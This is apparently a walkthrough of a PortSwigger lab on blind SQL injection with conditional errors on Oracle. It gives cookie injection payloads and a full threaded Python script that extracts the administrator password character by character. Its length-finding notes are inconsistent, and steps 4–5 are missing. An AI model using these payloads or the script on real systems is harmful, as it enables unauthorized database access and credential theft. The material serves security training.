PortSwigger

Lab Description

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics and performs a SQL query containing the value of the submitted cookie. The results are not returned, and the application does not respond differently based on whether the query returns rows. However, if the SQL query causes an error, the application returns a custom error message.

Objective: Exploit the blind SQL injection vulnerability to find the password of the administrator user, then log in.

Hint: This lab uses an Oracle database.



Step 1: Capture the Request

  1. Visit the front page of the shop
  2. In Burp Proxy, find the request containing the TrackingId cookie
  3. Send it to Repeater

Example request:

GET / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: TrackingId=xyz; session=...


Step 2: Confirm Injection

Test with single quote:

TrackingId=K7Wu29qlAgXQ8yiE'

Error message Injection confirmed

Test with double quotes:

TrackingId=K7Wu29qlAgXQ8yiE''


Step 3: Craft Valid SQL (Oracle)

Test with dual table:

TrackingId=K7Wu29qlAgXQ8yiE'||(SELECT '' FROM dual)||'

 Confirms injection is working


Step 6: Determine Password Length

Test length > 1:

TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>1 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Error Password > 1 character

Find exact length:

  • Test < 20  Error
  • Test < 19  Error
  • Test < 10  Error
  • Test < 9  Error

Conclusion: Password length = 20 characters


Step 7: Extract Password

we need to bruteforce

Sort by Status code:

  • 500 → Error → Character matches
  • 200 → No error → Character doesn’t match

Script::

"""
oracle_blind_cond_err_sqli.py
Pure-Python automated extractor for "blind SQL injection with conditional errors"
(Oracle DB) using TrackingId cookie injection pattern from PortSwigger labs.
  
USAGE:
  - Edit the CONFIG section below (TARGET_URL, TRACKING_PREFIX, SESSION_COOKIE, etc.)
  - Run: python3 oracle_blind_cond_err_sqli.py

LEGAL WARNING:
  Only use this against systems you own or are authorized to test (e.g., your PortSwigger lab).
"""
  
import requests
import string
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
  
# -------------------------
# CONFIG — EDIT THESE
# -------------------------
TARGET_URL = "https://0a48008e04af310480560845009e0022.web-security-academy.net/"  # include trailing slash or path

TRACKING_PREFIX = "K7Wu29qlAgXQ8yiE"   # original TrackingId value (without the trailing single-quote)

SESSION_COOKIE = "EozOqt62whp1xv7mZBP3SMZKm6jhxwGK"   # session cookie value from your lab
USERNAME = "administrator"   # username to target
MAX_LENGTH = 30              # maximum password length to try (set comfortably above expected)
CHARSET = string.ascii_lowercase + string.digits  # a-z0-9 assumed by lab
THREADS = 12                 # parallel requests when brute-forcing a single position (tune)
DELAY_BETWEEN_REQUESTS = 0.05  # polite delay between requests (seconds)
VERBOSE = True
# -------------------------
  
HEADERS = {
    "User-Agent": "Mozilla/5.0 (compatible)",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.9",
}
  
session = requests.Session()
session.headers.update(HEADERS)
session.verify = True  # set False only if target has invalid cert AND you accept the risk
  
def make_cookie_payload(condition_sql: str) -> dict:
    """
    Build the Cookie dict to send with the request.
    The injection pattern:
    TRACKING_PREFIX' || (SELECT CASE WHEN (<condition_sql>) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
    """
    injected = f"{TRACKING_PREFIX}'||(SELECT CASE WHEN ({condition_sql}) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='{USERNAME}')||'"
    # include session cookie as well
    return {"TrackingId": injected, "session": SESSION_COOKIE}
  
def is_error_for_condition(condition_sql: str, timeout=10) -> bool:
    """
    Return True if the server returns an error (500) for this injected condition (i.e., condition is TRUE).
    Otherwise return False (200 or other non-error status).
    """
    cookies = make_cookie_payload(condition_sql)
    try:
        resp = session.get(TARGET_URL, cookies=cookies, timeout=timeout)
    except requests.RequestException as e:
        # network/connection issues — treat as False but print if verbose
        if VERBOSE:
            print(f"[!] Request exception: {e}")
        return False
  
    if VERBOSE:
        print(f"[DBG] status={resp.status_code} condition=({condition_sql})")
    # PortSwigger labs: error -> HTTP 500. Adjust if different.
    return resp.status_code == 500
  
def find_password_length(max_len=MAX_LENGTH) -> int:
    """
    Incrementally find password length by testing LENGTH(password) > n
    Returns length when condition becomes False for n (i.e., highest n where >n True)
    """
    if VERBOSE:
        print("[*] Finding password length...")
    length = 0
    for n in range(1, max_len + 1):
        cond = f"LENGTH(password)>{n}"
        time.sleep(DELAY_BETWEEN_REQUESTS)
        if is_error_for_condition(cond):
            length = n + 0  # means length > n is True; continue
            if VERBOSE:
                print(f"[+] LENGTH(password) > {n} => TRUE")
            continue
        else:
            # when LENGTH(password) > n is False, actual length <= n
            actual = n
            if VERBOSE:
                print(f"[+] Detected length <= {n}. Assuming length = {n}")
            # to be safe, confirm exact length by checking equality downwards
            # check actual equality: LENGTH(password)={k}
            for k in range(max(1, n-4), n+1):  # small window to confirm
                time.sleep(DELAY_BETWEEN_REQUESTS)
                if is_error_for_condition(f"LENGTH(password)={k}"):
                    if VERBOSE:
                        print(f"[+] Confirmed password length = {k}")
                    return k
            # fallback
            return n
    # if reached here, max_len too small
    return max_len
  
def find_char_at_position(pos: int) -> str:
    """
    Find a single character at position `pos` (1-indexed) by brute-forcing CHARSET.
    Uses a ThreadPool to try multiple characters in parallel and checks which one returns HTTP 500.
    """
    if VERBOSE:
        print(f"[*] Finding character at position {pos} ...")
    # prepare tasks
    with ThreadPoolExecutor(max_workers=THREADS) as exe:
        futures = {}
        for ch in CHARSET:
            # Condition: SUBSTR(password,pos,1) = 'ch'
            cond = f"SUBSTR(password,{pos},1)='{ch}'"
            futures[exe.submit(is_error_for_condition, cond)] = ch
            time.sleep(DELAY_BETWEEN_REQUESTS)  # small spacing to avoid flooding
        for fut in as_completed(futures):
            ch = futures[fut]
            try:
                result = fut.result()
            except Exception as e:
                if VERBOSE:
                    print(f"[!] Exception checking char {ch}: {e}")
                continue
            if result:
                if VERBOSE:
                    print(f"[+] Found char at pos {pos}: {ch}")
                # cancel remaining futures? not necessary, will complete
                return ch
    # if none matched
    if VERBOSE:
        print(f"[-] No matching char found at position {pos} (charset too small?)")
    return "?"
  
def extract_password(length: int) -> str:
    pwd = []
    for pos in range(1, length + 1):
        ch = find_char_at_position(pos)
        pwd.append(ch)
    return "".join(pwd)
  
def main():
    print("=== Oracle Blind SQLi (conditional error) extractor ===")
    print(f"Target: {TARGET_URL}")
    print(f"User: {USERNAME}")
    # 1) find length
    length = find_password_length()
    print(f"[RESULT] Determined password length: {length}")
    # 2) extract each char
    password = extract_password(length)
    print(f"[RESULT] Extracted password: {password}")
  
if __name__ == "__main__":
    main()

Step 8: Log In as Administrator

  1. Go to the login page
  2. Username: administrator
  3. Password: extracted password
  4. Click Log in


Step 9: Lab Solved